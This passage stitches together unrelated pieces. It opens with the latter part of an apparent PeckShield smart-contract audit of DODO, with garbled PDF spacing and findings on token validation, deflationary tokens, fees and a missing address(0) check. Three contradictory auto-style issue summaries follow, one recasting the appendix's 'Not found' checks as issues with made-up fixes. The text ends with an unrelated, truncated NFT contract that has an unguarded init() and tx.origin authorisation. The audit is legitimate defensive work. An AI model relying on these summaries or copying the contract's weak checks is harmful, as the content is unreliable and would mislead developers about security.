pair of baseToken and quoteToken is a privileged operation only allowed by the contract owner (with the onlyOwner modifier).1However, the registration of a new token pair does not perform a thorough validity check on the tokens of the given pair. Though an offline check can be performed by the owner, it is still suggested to perform the necessary check codified at the contract to verify the given baseToken and quoteToken are indeed intended ERC20 token contracts. This is necessary as DODO users recognize and trust both baseToken and quoteToken before interacting with 1The removal of a registered token pair is not possible. For that, the DODO protocol only allows the registered pair to be closed or settled from being further tradable. 23/40 PeckShield Audit Report #: 2020-16Public them. To ensure the two token addresses are not provided accidentally, a non-zero extcodesize check could be added. 29 // ============ Breed DODO Function ============ 30 31 function breedDODO( 32 address s u p e r v i s o r , 33 address maintainer , 34 address baseToken , 35 address quoteToken , 36 address o r a c l e , 37 uint256 lpFeeRate , 38 uint256 mtFeeRate , 39 uint256 k , 40 uint256 g a s P r i c e L i m i t 41 )public onlyOwner returns (address ) { 42 require ( ! isDODORegistered ( baseToken , quoteToken ) , " DODO_IS_REGISTERED " ) ; 43 require ( baseToken != quoteToken , " BASE_IS_SAME_WITH_QUOTE " ) ; 44 address newBornDODO = address (new DODO( ) ) ; 45 IDODO(newBornDODO) . i n i t ( 46 s u p e r v i s o r , 47 maintainer , 48 baseToken , 49 quoteToken , 50 o r a c l e , 51 lpFeeRate , 52 mtFeeRate , 53 k , 54 g a s P r i c e L i m i t 55 ) ; 56 IDODO(newBornDODO) . t r a n s f e r O w n e r s h i p (_OWNER_) ; 57 _DODO_REGISTER_[ baseToken ] [ quoteToken ] = newBornDODO ; 58 emit DODOBirth (newBornDODO) ; 59 return newBornDODO ; 60 } Listing 3.14: contracts/DODOZoo.sol Moreover, the event generation in line 58can be further improved by including both baseToken and quoteToken , i.e., emit DODOBirth(newBornDODO, baseToken, quoteToken) . Recommendation Validate that the given token pairs ( baseToken and quoteToken ) are indeed ERC20 tokens. 24/40 PeckShield Audit Report #: 2020-16Public 3.10 Balance Inconsistency With Deflationary Tokens •ID: PVE-011 •Severity: Medium •Likelihood: Low •Impact: High•Target: Trader, LiquidityProvider •Category: Time and State [12] •CWE subcategory: CWE-362 [8] Description DODO acts as a trustless intermediary between liquidity providers and trading users. The liquidity providers depositeither baseToken orquoteToken into the DODO pool and in return get the tokenized share DODOLpToken of the pool’s assets. Later on, the liquidity providers can withdraw their own share by returning DODOLpToken back to the pool. With assets in the pool, users can submit tradeorders and the trading price is determined according to the PMM price curve. For the above three operations, i.e., deposit,withdraw, and trade, DODO provides low-level routines to transfer assets into or out of the pool (see the code snippet below). These asset- transferring routines work as expected with standard ERC20 tokens: namely DODO’s internal asset balances are always consistent with actual token balances maintained in individual ERC20 token contract. 38 function _baseTokenTransferIn ( address from , uint256 amount ) i n t e r n a l { 39 IERC20 (_BASE_TOKEN_) . s a f e T r a n s f e r F r o m ( from , address (t h i s ) , amount ) ; 40 _BASE_BALANCE_ = _BASE_BALANCE_. add ( amount ) ; 41 } 42 43 function _quoteTokenTransferIn ( address from , uint256 amount ) i n t e r n a l { 44 IERC20 (_QUOTE_TOKEN_) . s a f e T r a n s f e r F r o m ( from , address (t h i s ) , amount ) ; 45 _QUOTE_BALANCE_ = _QUOTE_BALANCE_. add ( amount ) ; 46 } 47 48 function _baseTokenTransferOut ( address to , uint256 amount ) i n t e r n a l { 49 IERC20 (_BASE_TOKEN_) . s a f e T r a n s f e r ( to , amount ) ; 50 _BASE_BALANCE_ = _BASE_BALANCE_. sub ( amount ) ; 51 } 52 53 function _quoteTokenTransferOut ( address to , uint256 amount ) i n t e r n a l { 54 IERC20 (_QUOTE_TOKEN_) . s a f e T r a n s f e r ( to , amount ) ; 55 _QUOTE_BALANCE_ = _QUOTE_BALANCE_. sub ( amount ) ; 56 } Listing 3.15: contracts/impl/Settlement. sol However, there exist other ERC20 tokens that may make certain customization to their ERC20 contracts. One type of these tokens is deflationary tokens that charge certain fee for every transferor 25/40 PeckShield Audit Report #: 2020-16Public transferFrom . As a result, this may not meet the assumption behind these low-level asset-transferring routines. In other words, the above operations, such as deposit,withdraw, and trade, may introduce unexpected balance inconsistencies when comparing internal asset records with external ERC20 token contracts. Apparently, these balance inconsistencies are damaging to accurate and precise portfolio management of DODO and affects protocol-wide operation and maintenance. One mitigation is to measure the asset change right before and after the asset-transferring rou- tines. In other words, instead of bluntly assuming the amount parameter in transfer ortransferFrom will always result in full transfer, we need to ensure the increased or decreased amount in the pool before and after the transfer/transferFrom is expected and aligned well with our operation. Though these additional checks cost additional gas usage, we consider they are necessary to deal with defla- tionary tokens or other customized ones. Another mitigation is to regulate the set of ERC20 tokens that are permitted into DODO for trading. In current implementation, DODO requires the ownerprivilege to permit tradable ERC20 tokens. By doing so, it may eliminate such concern, but it completely depends on privileged accounts. Such dependency not only affects the intended eventual decentralization, but also limits the number or scale of pairs supported for rapid, mass adoption of DODO. Recommendation Applynecessarymitigationmechanismstoregulatenon-compliantorunnecessarily- extended ERC20 tokens. 3.11 Aggregated Transfer of Maintainer Fees •ID: PVE-009 •Severity: Low •Likelihood: Low •Impact: Low•Target: DODOZoo •Category: Security Features [11] •CWE subcategory: CWE-269 [6] Description DODO has a protocol-wide fee parameter _MT_FEE_RATE_ that is designed to offset the protocol de- velopment, operation, management and other associated cost. The fee or maintainer fee is not applied up-front before trading. Instead, it is applied after calculating the trading result. For ex- ample, if a user attempts to sellBaseToken , the fee is deducted from receiveQuote and the exact amount is calculated as mtFeeQuote = DecimalMath.mul(receiveQuote, _MT_FEE_RATE_) . Similarly, if a user attempts to buyBaseToken , the fee is deducted from payQuote and the exact amount is calculated asmtFeeBase = DecimalMath.mul(amount, _MT_FEE_RATE_) . We notice that the maintainer fee is calculated and collected for each trade as part of the trade processing. The immediate transfer-out of the calculated maintainer fee at the time of the trade 26/40 PeckShield Audit Report #: 2020-16Public would impose an additional gas cost on every trade. To avoid this, accumulated maintainer fees can be temporarily saved on the DODO contract and later retrieved by authorized entity. Considering the scenario of having a deflationary token on the trading token pair, each trade may generate a very small number of maintainer fee . Apparently, it is economically desirable to first accumulate the maintainer fees and, after the fees reach a certain amount, then perform an aggregated transfer-out. 84 function buyBaseToken ( uint256 amount , uint256 maxPayQuote ) 85 external 86 t r a d e A l l o w e d 87 g a s P r i c e L i m i t 88 p r e v e n t R e e n t r a n t 89 returns (uint256 ) 90 { 91 // query price 92 ( 93 uint256 payQuote , 94 uint256 lpFeeBase , 95 uint256 mtFeeBase , 96 Types . RStatus newRStatus , 97 uint256 newQuoteTarget , 98 uint256 newBaseTarget 99 ) = _queryBuyBaseToken ( amount ) ; 100 require ( payQuote <= maxPayQuote , " BUY_BASE_COST_TOO_MUCH " ) ; 101 102 // settle assets 103 _quoteTokenTransferIn ( msg.sender , payQuote ) ; 104 _baseTokenTransferOut ( msg.sender , amount ) ; 105 _baseTokenTransferOut (_MAINTAINER_, mtFeeBase ) ; 106 107 // update TARGET 108 _TARGET_QUOTE_TOKEN_AMOUNT_ = newQuoteTarget ; 109 _TARGET_BASE_TOKEN_AMOUNT_ = newBaseTarget ; 110 _R_STATUS_ = newRStatus ; 111 112 _donateBaseToken ( lpFeeBase ) ; 113 emit BuyBaseToken ( msg.sender , amount , payQuote ) ; 114 emit MaintainerFee ( true , mtFeeBase ) ; 115 116 return payQuote ; 117 } Listing 3.16: contracts/impl/trader . sol Recommendation Avoid transferring the maintainer fee for each trade. Instead, accumulate the maintainer fee within the contract and allow the authorized entity to aggregately withdraw the fee to the right maintainer. 27/40 PeckShield Audit Report #: 2020-16Public 3.12 Misleading Embedded Code Comments •ID: PVE-013 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: DODOMath, Pricing •Category: Coding Practices [13] •CWE subcategory: CWE-1116 [4] Description There are a few misleading comments embedded among lines of solidity code, which may introduce unnecessary burdens to understand or maintain the software. Afewexamplecommentscanbefoundinlines 73and88oflib/DODOMath::_SolveQuadraticFunctionForTrade (), and line 140ofimpl/Pricing::_RAboveBackToOne() . We show below the quadratic solution function _SolveQuadraticFunctionForTrade() . 58 function _SolveQuadraticFunctionForTrade ( 59 uint256 Q0 , 60 uint256 Q1 , 61 uint256 i d e l t a B , 62 bool deltaBSig , 63 uint256 k 64 )i n t e r n a l pure returns (uint256 ) { 65 // calculate -b value and sig 66 // -b = (1-k)Q1 - kQ0 ^2/ Q1+i* deltaB 67 uint256 kQ02Q1 = DecimalMath . mul ( k , Q0) . mul (Q0) . d i v (Q1) ; // kQ0 ^2/ Q1 68 uint256 b = DecimalMath . mul ( DecimalMath .ONE. sub ( k ) , Q1) ; // (1-k)Q1 69 bool minusbSig = true ; 70 i f( d e l t a B S i g ) { 71 b = b . add ( i d e l t a B ) ; // (1-k)Q1+i* deltaB 72 }e l s e { 73 kQ02Q1 = kQ02Q1 . add ( i d e l t a B ) ; // -i*(- deltaB )-kQ0 ^2/ Q1 74 } 75 i f( b >= kQ02Q1) { 76 b = b . sub (kQ02Q1) ; 77 minusbSig = true ; 78 }e l s e { 79 b = kQ02Q1 . sub ( b ) ; 80 minusbSig = f a l s e ; 81 } 82 83 // calculate sqrt 84 uint256 squareRoot = DecimalMath . mul ( 85 DecimalMath .ONE. sub ( k ) . mul (4) , 86 DecimalMath . mul ( k , Q0) . mul (Q0) 87 ) ;// 4(1 -k) kQ0 ^2 88 squareRoot = b . mul ( b ) . add ( squareRoot ) . s q r t ( ) ; // sqrt (b*b -4(1 -k)kQ0 *Q0) 89 28/40 PeckShield Audit Report #: 2020-16Public 90 // final res 91 uint256 denominator = DecimalMath .ONE. sub ( k ) . mul (2) ; // 2(1 -k) 92 i f( minusbSig ) { 93 return DecimalMath . d i v F l o o r ( b . add ( squareRoot ) , denominator ) ; 94 }e l s e { 95 return DecimalMath . d i v F l o o r ( squareRoot . sub ( b ) , denominator ) ; 96 } 97 } Listing 3.17: contracts/ lib /DODOMath.sol The comment in line 73is supposed to be // i*deltaB+kQ0^2/Q1 while the comment in line 88 should be // sqrt(b*b-4*(l-k)*(-kQ0*Q0)) . Recommendation Adjust the comments accordingly (e.g., from “ sqrt(b*b-4(1-k)kQ0*Q0) ” to “sqrt(b*b-4*(l-k)*(-kQ0*Q0)) ” in DODOMath.sol - line 88). 83 // calculate sqrt 84 uint256 squareRoot = DecimalMath . mul ( 85 DecimalMath .ONE. sub ( k ) . mul (4) , 86 DecimalMath . mul ( k , Q0) . mul (Q0) 87 ) ;// 4(1 -k) kQ0 ^2 88 squareRoot = b . mul ( b ) . add ( squareRoot ) . s q r t ( ) ; // sqrt (b*b -4*(l-k)*(- kQ0 *Q0)) Listing 3.18: contracts/ lib /DODOMath.sol 3.13 Missing DODO Validation in DODOEthProxy •ID: PVE-013 •Severity: Medium •Likelihood: Low •Impact: High•Target: DODOEthProxy •Category: Coding Practices [13] •CWE subcategory: CWE-628 [9] Description To accommodate the support of ETH, DODO provides a proxy contract DODOEthProxy that conve- niently wraps ETH into WETH and unwraps WETH back to ETH. The goal here is to allow for the unified handling of ETH just like other standard ERC20 tokens. 75 function getDODO( address baseToken , address quoteToken ) external view returns ( address ) { 76 return _DODO_REGISTER_[ baseToken ] [ quoteToken ] ; 77 } Listing 3.19: contracts/DODOZoo.sol 29/40 PeckShield Audit Report #: 2020-16Public The smart contract DODOEthProxy has three main public methods: sellEthTo() ,buyEthWith() , and depositEth() . All these three methods query DODOZoofor the presence of a DODO contract being requested. Notice that the query function getDODO() returns the requested registered entry. If the entry does not exist, it simply returns back address(0) . Unfortunately, if a user somehow provides a wrong quoteTokenAddress , the above three methods will be interacting with address(0) , leading to possible ETH loss from the user. In the following, we use sellEthTo() to elaborate the possible unintended consequence. If we delve into the sellEthTo() routine, the variable DODO(line70) contains the queried DODO address from DODOZoo. If the aforementioned corner case occurs, it simply contains address(0) . As a result, the subsequent operations essentially become no op, except it continues to deposit ethAmount into _WETH_(lines 73*74). ThesedepositedETHsarenotcreditedandthereforebecomewithdrawable by any one through buyEthWith() (that does not validate the presence of DODOeither). 64 function s e l l E t h T o ( 65 address quoteTokenAddress , 66 uint256 ethAmount , 67 uint256 minReceiveTokenAmount 68 )external payable p r e v e n t R e e n t r a n t returns (uint256 receiveTokenAmount ) { 69 require (msg.value == ethAmount , " ETH_AMOUNT_NOT_MATCH " ) ; 70 address DODO = IDODOZoo(_DODO_ZOO_) . getDODO(_WETH_, quoteTokenAddress ) ; 71 receiveTokenAmount = IDODO(DODO) . querySellBaseToken ( ethAmount ) ; 72 require ( receiveTokenAmount >= minReceiveTokenAmount , " RECEIVE_NOT_ENOUGH " ) ; 73 IWETH(_WETH_) . d e p o s i t { value : ethAmount }() ; 74 IWETH(_WETH_) . approve (DODO, ethAmount ) ; 75 IDODO(DODO) . s e l l B a s e T o k e n ( ethAmount , minReceiveTokenAmount ) ; 76 _transferOut ( quoteTokenAddress , msg.sender , receiveTokenAmount ) ; 77 emit P r o x y S e l l E t h ( msg.sender , quoteTokenAddress , ethAmount , receiveTokenAmount ) ; 78 return receiveTokenAmount ; 79 } Listing 3.20: contracts/DODOEthProxy.sol Recommendation Validate the DODOvariable and require its existence (not address(0) ) before continuing the process. 3.14 Other Suggestions Due to the fact that compiler upgrades might bring unexpected compatibility or inter-version con- sistencies, it is always suggested to use fixed compiler versions whenever possible. As an example, we highly encourage to explicitly indicate the Solidity compiler version, e.g., pragma solidity 0.5.12; instead of pragma solidity ^0.5.12; . Moreover, westronglysuggestnottouseexperimentalSolidityfeatures(e.g., pragma experimental ABIEncoderV2 ) or third-party unaudited libraries. If necessary, refactor current code base to only use stable features or trusted libraries. 30/40 PeckShield Audit Report #: 2020-16Public Last but not least, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms need to kick in at the very moment when the contracts are being deployed in mainnet. 31/40 PeckShield Audit Report #: 2020-16Public 4 | Conclusion In this audit, we thoroughly analyzed the DODO documentation and implementation. The audited system presents a unique innovation and we are really impressed by the design and implementa- tion.The current code base is clearly organized and those identified issues are promptly confirmed and fixed. Meanwhile, we need to emphasize that smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 32/40 PeckShield Audit Report #: 2020-16Public 5 | Appendix 5.1 Basic Coding Bugs 5.1.1 Constructor Mismatch •Description: Whether the contract name and its constructor are not identical to each other. •Result: Not found •Severity: Critical 5.1.2 Ownership Takeover •Description: Whether the set owner function is not protected. •Result: Not found •Severity: Critical 5.1.3 Redundant Fallback Function •Description: Whether the contract has a redundant fallback function. •Result: Not found •Severity: Critical 5.1.4 Overflows & Underflows •Description: Whether the contract has general overflow or underflow vulnerabilities [17, 18, 19, 20, 22]. •Result: Not found •Severity: Critical 33/40 PeckShield Audit Report #: 2020-16Public 5.1.5 Reentrancy •Description: Reentrancy [23] is an issue when code can call back into your contract and change state, such as withdrawing ETHs. •Result: Not found •Severity: Critical 5.1.6 Money-Giving Bug •Description: Whether the contract returns funds to an arbitrary address. •Result: Not found •Severity: High 5.1.7 Blackhole •Description: Whether the contract locks ETH indefinitely: merely in without out. •Result: Not found •Severity: High 5.1.8 Unauthorized Self-Destruct •Description: Whether the contract can be killed by any arbitrary address. •Result: Not found •Severity: Medium 5.1.9 Revert DoS •Description: Whether the contract is vulnerable to DoS attack because of unexpected revert. •Result: Not found •Severity: Medium 34/40 PeckShield Audit Report #: 2020-16Public 5.1.10 Unchecked External Call •Description: Whether the contract has any external callwithout checking the return value. •Result: Not found •Severity: Medium 5.1.11 Gasless Send •Description: Whether the contract is vulnerable to gasless send. •Result: Not found •Severity: Medium 5.1.12 SendInstead Of Transfer •Description: Whether the contract uses sendinstead of transfer . •Result: Not found •Severity: Medium 5.1.13 Costly Loop •Description: Whether the contract has any costly loop which may lead to Out-Of-Gas excep- tion. •Result: Not found •Severity: Medium 5.1.14 (Unsafe) Use Of Untrusted Libraries •Description: Whether the contract use any suspicious libraries. •Result: Not found •Severity: Medium 35/40 PeckShield Audit Report #: 2020-16Public 5.1.15 (Unsafe) Use Of Predictable Variables •Description: Whether the contract contains any randomness variable, but its value can be predicated. •Result: Not found •Severity: Medium 5.1.16 Transaction Ordering Dependence •Description: Whether the final state of the contract depends on the order of the transactions. •Result: Not found •Severity: Medium 5.1.17 Deprecated Uses •Description: Whetherthecontractusethedeprecated tx.origin toperformtheauthorization. •Result: Not found •Severity: Medium 5.2 Semantic Consistency Checks •Description: Whether the semantic of the white paper is different from the implementation of the contract. •Result: Not found •Severity: Critical 5.3 Additional Recommendations 5.3.1 Avoid Use of Variadic Byte Array •Description: Use fixed-size byte array is better than that of byte[], as the latter is a waste of space. •Result: Not found •Severity: Low 36/40 PeckShield Audit Report #: 2020-16Public 5.3.2 Make Visibility Level Explicit •Description: Assign explicit visibility specifiers for functions and state variables. •Result: Not found •Severity: Low 5.3.3 Make Type Inference Explicit •Description: Do not use keyword varto specify the type, i.e., it asks the compiler to deduce the type, which is not safe especially in a loop. •Result: Not found •Severity: Low 5.3.4 Adhere To Function Declaration Strictly •Description: Solidity compiler (version 0:4:23) enforces strict ABI length checks for return data from calls() [1], whichmaybreak thetheexecution ifthefunction implementationdoesNOT follow its declaration (e.g., no return in implementing transfer() of ERC20 tokens). •Result: Not found •Severity: Low 37/40 PeckShield Audit Report #: 2020-16Public References [1] axic. Enforcing ABI length checks for return data from calls can be breaking. https://github. com/ethereum/solidity/issues/4116. [2] HaleTom. Resolution on the EIP20 API Approve / TransferFrom multiple withdrawal attack. https://github.com/ethereum/EIPs/issues/738. [3] MITRE. CWE-1099: Inconsistent Naming Conventions for Identifiers. https://cwe.mitre.org/ data/definitions/1099.html. [4] MITRE. CWE-1116: Inaccurate Comments. https://cwe.mitre.org/data/definitions/1116.html. [5] MITRE. CWE-190: Integer Overflow or Wraparound. https://cwe.mitre.org/data/definitions/ 190.html. [6] MITRE. CWE-269: Improper Privilege Management. https://cwe.mitre.org/data/definitions/ 269.html. [7] MITRE. CWE-282: ImproperOwnershipManagement. https://cwe.mitre.org/data/definitions/ 282.html. [8] MITRE. CWE-362: ConcurrentExecutionusingSharedResourcewithImproperSynchronization (’Race Condition’). https://cwe.mitre.org/data/definitions/362.html. [9] MITRE. CWE-628: Function Call with Incorrectly Specified Arguments. https://cwe.mitre.org/ data/definitions/628.html. 38/40 PeckShield Audit Report #: 2020-16Public [10] MITRE. CWE-654: Reliance on a Single Factor in a Security Decision. https://cwe.mitre.org/ data/definitions/654.html. [11] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [12] MITRE. CWE CATEGORY: 7PK - Time and State. https://cwe.mitre.org/data/definitions/ 361.html. [13] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [14] MITRE. CWE CATEGORY: Numeric Errors. https://cwe.mitre.org/data/definitions/189.html. [15] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [16] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. [17] PeckShield. ALERT: New batchOverflow Bug in Multiple ERC20 Smart Contracts (CVE-2018- 10299). https://www.peckshield.com/2018/04/22/batchOverflow/. [18] PeckShield. New burnOverflow Bug Identified in Multiple ERC20 Smart Contracts (CVE-2018- 11239). https://www.peckshield.com/2018/05/18/burnOverflow/. [19] PeckShield. New multiOverflow Bug Identified in Multiple ERC20 Smart Contracts (CVE-2018- 10706). https://www.peckshield.com/2018/05/10/multiOverflow/. [20] PeckShield. New proxyOverflow Bug in Multiple ERC20 Smart Contracts (CVE-2018-10376). https://www.peckshield.com/2018/04/25/proxyOverflow/. [21] PeckShield. PeckShield Inc. https://www.peckshield.com. [22] PeckShield. Your Tokens Are Mine: A Suspicious Scam Token in A Top Exchange. https: //www.peckshield.com/2018/04/28/transferFlaw/. 39/40 PeckShield Audit Report #: 2020-16Public [23] Solidity. Warnings of Expressions and Control Structures. http://solidity.readthedocs.io/en/ develop/control-structures.html. 40/40 PeckShield Audit Report #: 2020-16
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 4 - Major: 1 - Critical: 0 Minor Issues - Problem (one line with code reference): Non-ERC20-Compliant DODOLpTokens (Line 12) - Fix (one line with code reference): Implement ERC20 interface (Line 13) - Problem (one line with code reference): Improved Precision Calculation in DODOMath (Line 13) - Fix (one line with code reference): Use SafeMath library (Line 14) - Problem (one line with code reference): Improved Precision Calculation #2 in DODOMath (Line 15) - Fix (one line with code reference): Use SafeMath library (Line 16) - Problem (one line with code reference): approve()/transferFrom() Race Condition (Line 17) - Fix (one line with code reference): Use atomic operations (Line 18) Moderate - Problem (one line with code reference): Better Handling of Privilege Transfers (Line 18) - Fix (one line with code reference): Use granular access control (Line 19) - Problem (one Issues Count of Minor/Moderate/Major/Critical: - Minor: 5 - Moderate: 4 - Major: 0 - Critical: 0 Minor Issues: - 5.1.3 Redundant Fallback Function: Problem - Fallback function is redundant and can be removed. Fix - Remove the fallback function. - 5.1.4 Overflows & Underflows: Problem - Potential overflows and underflows in the code. Fix - Use SafeMath library to prevent overflows and underflows. - 5.1.5 Reentrancy: Problem - Potential reentrancy vulnerability. Fix - Use the check-effects-interactions pattern to prevent reentrancy. - 5.1.6 Money-Giving Bug: Problem - Potential money-giving bug. Fix - Use the check-effects-interactions pattern to prevent money-giving bug. - 5.1.7 Blackhole: Problem - Potential blackhole vulnerability. Fix - Use the check-effects-interactions pattern to prevent blackhole vulnerability. Moderate Issues: - 5.1.8 Unauthorized Self-Destruct: Problem - Potential unauthorized self-destruct vulnerability. Fix - Use the Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 0 Observations - DODO is an Ethereum Smart Contract that imitates human market makers to bring sufficent on-chain liquidity. - It assumes a timely market price feed and the oracle itself is not part of this audit. - The audit was conducted using Whitebox method. Conclusion No vulnerabilities were found in the DODO smart contract.
// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./OwnableContract.sol"; import "./IBaseDoNFT.sol"; contract BaseDoNFT is OwnableContract,ReentrancyGuard,ERC721,IBaseDoNFT { using EnumerableSet for EnumerableSet.UintSet; address internal oNftAddress; uint256 public curDoid; uint256 public curDurationId; uint64 private maxDuration = 31526000; mapping(uint256 => DoNftInfo) internal doNftMapping; mapping(uint256 => Duration) internal durationMapping; mapping(uint256 => uint256) internal oid2Wid; bool private isOnlyNow = true; string private _doName; string private _doSymbol; address public checkInUser; uint256 public checkInDurationId; string private _dclURI; constructor()ERC721("DoNFT","DoNFT"){ } modifier onlyNow(uint64 start) { if(isOnlyNow){ require(block.timestamp == start, "must from now"); } _; } function onlyApprovedOrOwner(address spender,address nftAddress,uint256 tokenId) internal view returns(bool){ address owner = ERC721(nftAddress).ownerOf(tokenId); require(owner != address(0),"ERC721: operator query for nonexistent token"); return (spender == owner || ERC721(nftAddress).getApproved(tokenId) == spender || ERC721(nftAddress).isApprovedForAll(owner, spender)); } function init(address address_,string memory name_, string memory symbol_) public { require(oNftAddress==address(0),"already inited"); oNftAddress = address_; _doName = name_; _doSymbol = symbol_; } function name() public view virtual override returns (string memory) { return _doName; } function symbol() public view virtual override returns (string memory) { return _doSymbol; } function setIsOnlyNow(bool v) public onlyAdmin { isOnlyNow = v; } function contains(uint256 tokenId,uint256 durationId) public view returns(bool){ return doNftMapping[tokenId].durationList.contains(durationId); } function getDurationIdList(uint256 tokenId) external view returns(uint256[] memory){ DoNftInfo storage info = doNftMapping[tokenId]; return info.durationList.values(); } function getDuration(uint256 durationId) public view returns(uint64 start, uint64 end){ Duration storage duration = durationMapping[durationId]; return (duration.start,duration.end); } function getDuration(uint256 tokenId,uint256 index) public view returns(uint256 durationId,uint64 start, uint64 end){ DoNftInfo storage info = doNftMapping[tokenId]; durationId = info.durationList.at(index); (start,end) = getDuration(info.durationList.at(index)); } function isValidNow(uint256 tokenId) public view returns(bool isValid){ DoNftInfo storage info = doNftMapping[tokenId]; uint256 length = info.durationList.length(); uint256 durationId; for (uint256 index = 0; index < length; index++) { durationId = info.durationList.at(index); if(durationMapping[durationId].start <= block.timestamp && block.timestamp <= durationMapping[durationId].end){ return true; } } return false; } function getDurationListLength(uint256 tokenId) external view returns(uint256){ return doNftMapping[tokenId].durationList.length(); } function getDoNftInfo(uint256 tokenId) public view returns(uint256 oid, uint256[] memory durationIds, uint64[] memory starts,uint64[] memory ends,uint64 nonce){ DoNftInfo storage info = doNftMapping[tokenId]; oid = info.oid; nonce = info.nonce; uint256 length = info.durationList.length(); uint256 durationId; starts = new uint64[](length); ends = new uint64[](length); durationIds = info.durationList.values(); for (uint256 index = 0; index < length; index++) { durationId = info.durationList.at(index); starts[index] = durationMapping[durationId].start; ends[index] = durationMapping[durationId].end; } } function getNonce(uint256 tokenId) external view returns(uint64){ return doNftMapping[tokenId].nonce; } function mintWNft(uint256 oid) public nonReentrant virtual returns(uint256 tid) { require(oid2Wid[oid] == 0, "already warped"); require(onlyApprovedOrOwner(tx.origin,oNftAddress,oid) || onlyApprovedOrOwner(msg.sender,oNftAddress,oid),"not owner nor approved"); address owner = ERC721(oNftAddress).ownerOf(oid); tid = mintDoNft(owner,oid,uint64(block.timestamp),type(uint64).max); oid2Wid[oid] = tid; emit MintWNft(msg.sender,owner,oid,tid); } function mint( uint256 tokenId, uint256 durationId, uint64 start, uint64 end, address to ) public onlyNow(start) nonReentrant returns(uint256 tid){ require(_isApprovedOrOwner(_msgSender(), tokenId) || _isApprovedOrOwner(tx.origin, tokenId), "not owner nor approved"); require(start >= block.timestamp && end > start && end <= block.timestamp + maxDuration, "invalid start or end"); DoNftInfo storage info = doNftMapping[tokenId]; require(contains(tokenId,durationId), "not contains durationId"); Duration storage duration = durationMapping[durationId]; require(start >= duration.start && end <= duration.end, "invalid duration"); uint256 tDurationId; if (start == duration.start && end == duration.end) { tid = mintDoNft(to,info.oid,start,end); tDurationId = curDurationId; _burnDuration(tokenId, durationId); } else { tid = mintDoNft(to, info.oid,start,end); tDurationId = curDurationId; if (start > block.timestamp && start > duration.start + 1) { newDuration(tokenId, duration.start, start-1); } if (duration.end > end + 1) { duration.start = end + 1; } } if(start==block.timestamp){ checkIn(to, tid, tDurationId); } emit MetadataUpdate(tokenId); } function setMaxDuration(uint64 v) public onlyAdmin{ maxDuration = v; } function newDoNft(uint256 oid_,uint64 start,uint64 end) internal returns (uint256) { curDoid++; DoNftInfo storage info = doNftMapping[curDoid]; info.oid = oid_; info.nonce = 0; newDuration(curDoid,start,end); return curDoid; } function newDuration(uint256 tokenId,uint64 start,uint64 end) private{ curDurationId++; durationMapping[curDurationId] = Duration(start,end); doNftMapping[tokenId].durationList.add(curDurationId); emit DurationUpdate(curDurationId,tokenId,start,end); } function mintDoNft(address to, uint256 oid_,uint64 start,uint64 end) internal returns (uint256) { newDoNft(oid_,start,end); _safeMint(to, curDoid); return curDoid; } function concont(uint256 tokenId,uint256 durationId,uint256 targetTokenId,uint256 targetDurationId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); require(contains(tokenId,durationId),"not contains"); require(ownerOf(tokenId) == ownerOf(targetTokenId), "diff owner"); require(doNftMapping[tokenId].oid == doNftMapping[targetTokenId].oid , "diff oid"); require(contains(targetTokenId,targetDurationId),"not contains"); Duration storage duration = durationMapping[durationId]; Duration storage targetDuration = durationMapping[targetDurationId]; if(duration.end < targetDuration.start){ require(duration.end+1==targetDuration.start); targetDuration.start = duration.start; _burnDuration(tokenId,durationId); } else if(targetDuration.end < duration.start){ require(targetDuration.end+1 == duration.start); targetDuration.end = duration.end; _burnDuration(tokenId,durationId); } } function _burnDuration(uint256 tokenId,uint256 durationId) private{ delete durationMapping[durationId]; doNftMapping[tokenId].durationList.remove(durationId); uint256[] memory arr = new uint256[](1); arr[0] = durationId; emit DurationBurn(arr); } function _burnWNft(uint256 wid) internal { DoNftInfo storage info = doNftMapping[wid]; uint256 length = info.durationList.length(); for (uint256 index = 0; index < length; index++) { delete durationMapping[info.durationList.at(index)]; } emit DurationBurn(info.durationList.values()); delete info.durationList; delete oid2Wid[info.oid]; _burn(wid); } function _burn(uint256 tokenId) internal override virtual { delete doNftMapping[tokenId]; ERC721._burn(tokenId); } function checkIn(address to,uint256 tokenId,uint256 durationId) public virtual{ require(_isApprovedOrOwner(_msgSender(), tokenId) || _isApprovedOrOwner(tx.origin, tokenId), "not owner nor approved"); DoNftInfo storage info = doNftMapping[tokenId]; Duration storage duration = durationMapping[durationId]; require(duration.end >= block.timestamp,"invalid end"); require(duration.start <= block.timestamp,"invalid start"); require(info.durationList.contains(durationId),"not contains"); checkInUser = to; checkInDurationId = durationId; emit CheckIn(tx.origin,to,tokenId,durationId); } function gc(uint256 tokenId,uint256[] calldata durationIds) public { DoNftInfo storage info = doNftMapping[tokenId]; uint256 durationId; Duration storage duration; for (uint256 index = 0; index < durationIds.length; index++) { durationId = durationIds[index]; if(contains(tokenId, durationId)){ duration = durationMapping[durationId]; if(duration.end <= block.timestamp){ _burnDuration(tokenId,durationId); } } } if(info.durationList.length() == 0){ _burn(tokenId); } } function getFingerprint(uint256 tokenId) public view returns(bytes32 print){ (uint256 oid, uint256[] memory durationIds,uint64[] memory starts,uint64[] memory ends,uint64 nonce) = getDoNftInfo(tokenId); print = keccak256(abi.encodePacked(oid,durationIds,starts,ends,nonce)); } function isWNft(uint256 tokenId) public view returns(bool) { return oid2Wid[doNftMapping[tokenId].oid] == tokenId ; } function isWrap() public pure virtual returns(bool){ return false; } function 